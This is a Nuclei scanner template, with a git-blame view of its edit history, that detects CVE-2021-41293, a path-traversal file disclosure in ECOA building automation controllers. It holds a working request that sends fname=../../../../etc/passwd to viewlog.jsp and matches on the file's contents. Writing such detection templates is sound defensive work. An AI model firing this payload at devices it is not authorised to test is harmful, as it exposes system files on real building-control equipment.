nuclei-templates/cves/2021/CVE-2021-41293.yaml

id: CVE-2021-41293

info:
  name: ECOA Building Automation System - Local File Disclosure
  author: 0x_Akoko
  severity: high
  description: The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the 'fname' POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose
    sensitive and system information.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41293
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5679.php
    - https://www.twcert.org.tw/tw/cp-132-5129-7e623-1.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41293
    cwe-id: CWE-22
  tags: cve,cve2021,ecoa,lfi,disclosure

requests:
  - raw:
      - |
        POST /viewlog.jsp HTTP/1.1
        Host: {{Hostname}}

        yr=2021&mh=6&fname=../../../../../../../../etc/passwd

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/03/07
moving files around 2021-10-14 14:35:25 +00:00			`id: CVE-2021-41293`

Update ecoa-building-automation-lfd.yaml 2021-09-16 17:44:04 +00:00			`info:`
Enhancement: cves/2021/CVE-2021-41293.yaml by mp 2022-03-07 15:36:19 +00:00			`name: ECOA Building Automation System - Local File Disclosure`
Update ecoa-building-automation-lfd.yaml 2021-09-16 17:44:04 +00:00			`author: 0x_Akoko`
Create ecoa-building-automation-lfd.yaml 2021-09-14 22:02:57 +00:00			`severity: high`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`description: The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the 'fname' POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose`
			`sensitive and system information.`
More reference 2021-10-14 13:30:44 +00:00			`reference:`
Enhancement: cves/2021/CVE-2021-41293.yaml by mp 2022-03-07 15:36:19 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-41293`
More reference 2021-10-14 13:30:44 +00:00			`- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5679.php`
			`- https://www.twcert.org.tw/tw/cp-132-5129-7e623-1.html`
Auto Generated CVE annotations [Thu Oct 14 14:37:07 UTC 2021] :robot: 2021-10-14 14:37:07 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 7.5`
Auto Generated CVE annotations [Thu Oct 14 14:37:07 UTC 2021] :robot: 2021-10-14 14:37:07 +00:00			`cve-id: CVE-2021-41293`
			`cwe-id: CWE-22`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2021,ecoa,lfi,disclosure`
Create ecoa-building-automation-lfd.yaml 2021-09-14 22:02:57 +00:00
			`requests:`
			`- raw:`
			`- \|`
			`POST /viewlog.jsp HTTP/1.1`
			`Host: {{Hostname}}`

Update ecoa-building-automation-lfd.yaml 2021-09-14 22:24:11 +00:00			`yr=2021&mh=6&fname=../../../../../../../../etc/passwd`

Update and rename ecoa-building-automation-lfd.yaml to vulnerabilities/other/ecoa-building-automation-lfd.yaml 2021-09-17 11:09:09 +00:00			`matchers-condition: and`
Update ecoa-building-automation-lfd.yaml 2021-09-14 22:24:11 +00:00			`matchers:`
Update and rename ecoa-building-automation-lfd.yaml to vulnerabilities/other/ecoa-building-automation-lfd.yaml 2021-09-17 11:09:09 +00:00
Create ecoa-building-automation-lfd.yaml 2021-09-14 22:02:57 +00:00			`- type: regex`
			`regex:`
Updated "/etc/passwd" regex to avoid possible false positive results. 2022-03-22 08:01:31 +00:00			`- "root:.*:0:0:"`
Update and rename ecoa-building-automation-lfd.yaml to vulnerabilities/other/ecoa-building-automation-lfd.yaml 2021-09-17 11:09:09 +00:00
			`- type: status`
			`status:`
			`- 200`
Enhancement: cves/2021/CVE-2021-41293.yaml by mp 2022-03-07 15:36:19 +00:00
			`# Enhanced by mp on 2022/03/07`